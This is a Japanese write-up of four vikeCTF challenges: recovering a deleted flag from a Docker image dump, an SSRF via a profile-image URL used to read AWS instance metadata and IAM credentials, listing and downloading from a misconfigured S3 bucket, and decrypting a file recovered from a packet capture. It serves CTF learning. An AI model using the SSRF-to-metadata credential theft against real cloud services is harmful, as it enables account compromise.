- [Cloud] Docker Dad Jokes: Find the Punchline
- [Cloud] Eternal Cloud Conquest
- [Cloud] Super Silly Security
- [misc] Smoke on the Horizon
[Cloud] Docker Dad Jokes: Find the Punchline
dockerのダンプファイルが与えられる。
28d….jsonを見てみると
        {
            "created": "2023-03-17T09:32:45.482620015Z",
            "created_by": "RUN /bin/sh -c rm flag.txt # buildkit",
            "comment": "buildkit.dockerfile.v0"
        },
のようにflag.txtが消されている。
適当にflagをgrepして探すと見つかる。
$ cd 901606eea2faa73c03fccad4ad1c61a5aafe872d28a27420111eacfc9ae2d5c1
$ cat * | grep -a flag
RUN echo "vikeCTF{■■■■■■■■■■■■}" > flag.txt
RUN rm flag.txt
[Cloud] Eternal Cloud Conquest
色々試してみるとSSRF脆弱性を発見する。
- 適当にユーザーを作る
- /profileのページのProfile Image URLにサーバーに踏ませたいURLを配置する
- 適当なページでコメントを残すと、指定したURLが画像でなくても、Profile Imageがbase64形式で保存され返されてくる
これでAWSのインスタンスメタデータを巡回すると最終的にフラグが見つかる。
http://169.254.169.254/latest/meta-data/
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
elastic-inference/
events/
hostname
iam/
instance-action
instance-id
instance-life-cycle
instance-type
kernel-id
local-hostname
local-ipv4
mac
network/
placement/
product-codes
public-hostname
public-ipv4
public-keys/
ramdisk-id
reservation-id
security-groups
services/
spot/
tags/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
vikeCTF-metadata-role
http://169.254.169.254/latest/meta-data/iam/security-credentials/vikeCTF-metadata-role
{
    "Code": "Success",
    "LastUpdated": "2023-03-17T16:00:00Z",
    "Type": "AWS-HMAC",
    "AccessKeyId": "12345678901",
    "SecretAccessKey": "v/12345678901",
    "Token": "vikeCTF{d0nt_f0rg3t_@b0ut_n3tw0rk_@cc355}",
    "Expiration": "2023-03-19T16:00:00Z"
}
[Cloud] Super Silly Security
https://super-silly-security.vikesec.ca/flag.png
にフラグがあるっぽいが403エラー
エラーメッセージとしてS3 ERROR: Not in Authenticated AWS User groupとある。
digコマンドでドメインを見てみると
super-silly-security.vikesec.ca. 0 IN CNAME super-silly-security.vikesec.ca.s3-website-us-west-2.amazonaws.com. super-silly-security.vikesec.ca.s3-website-us-west-2.amazonaws.com. 0 IN CNAME s3-website.us-west-2.amazonaws.com.
super-silly-security.vikesec.ca.s3-website-us-west-2.amazonaws.comがもともとの名前のようだ。
とりあえず、S3に匿名アクセスできないか試してみる。
適当なAWSユーザーでアクセスキーを発行し、aws configureで設定する。
リージョンはus-west-2を使う。
これでこのS3にアクセスしてみると匿名アクセスできたので、flag.pngを持ってくるとフラグが書いてある。
$ aws configure AWS Access Key ID [None]: <reducted> AWS Secret Access Key [None]: <reducted> Default region name [None]: us-west-2 Default output format [None]: $ aws s3 ls s3://super-silly-security.vikesec.ca 2023-03-18 08:14:04 24728 flag.png 2023-03-18 08:14:04 1821 index.html 2023-03-18 08:14:04 6489 style.css $ aws s3 cp s3://super-silly-security.vikesec.ca/flag.png flag.png download: s3://super-silly-security.vikesec.ca/flag.png to ./flag.png
[misc] Smoke on the Horizon
プロトコル階層を見てみると、いろいろ記録されている。
- TLS: 何かが暗号化されている
- HTTP: ELF形式の何かがやり取りされている。decriptというファイル
- SMTP: 1通メールがありパスワードp!ll@ge_🔥_p1und3rというのが共有されている
- FTP: flag.encというファイルがダウンロードされている
decryptを動かすと復号化ソフトのようで、既に手元にある情報を試すとフラグが復号化されてくる。
TLSの情報は使用しない。
$ ./decrypt Usage: ./decrypt input_file password $ ./decrypt flag.enc 'p!ll@ge_🔥_p1und3r' Decryption successful: flag.enc -> flag.enc.dec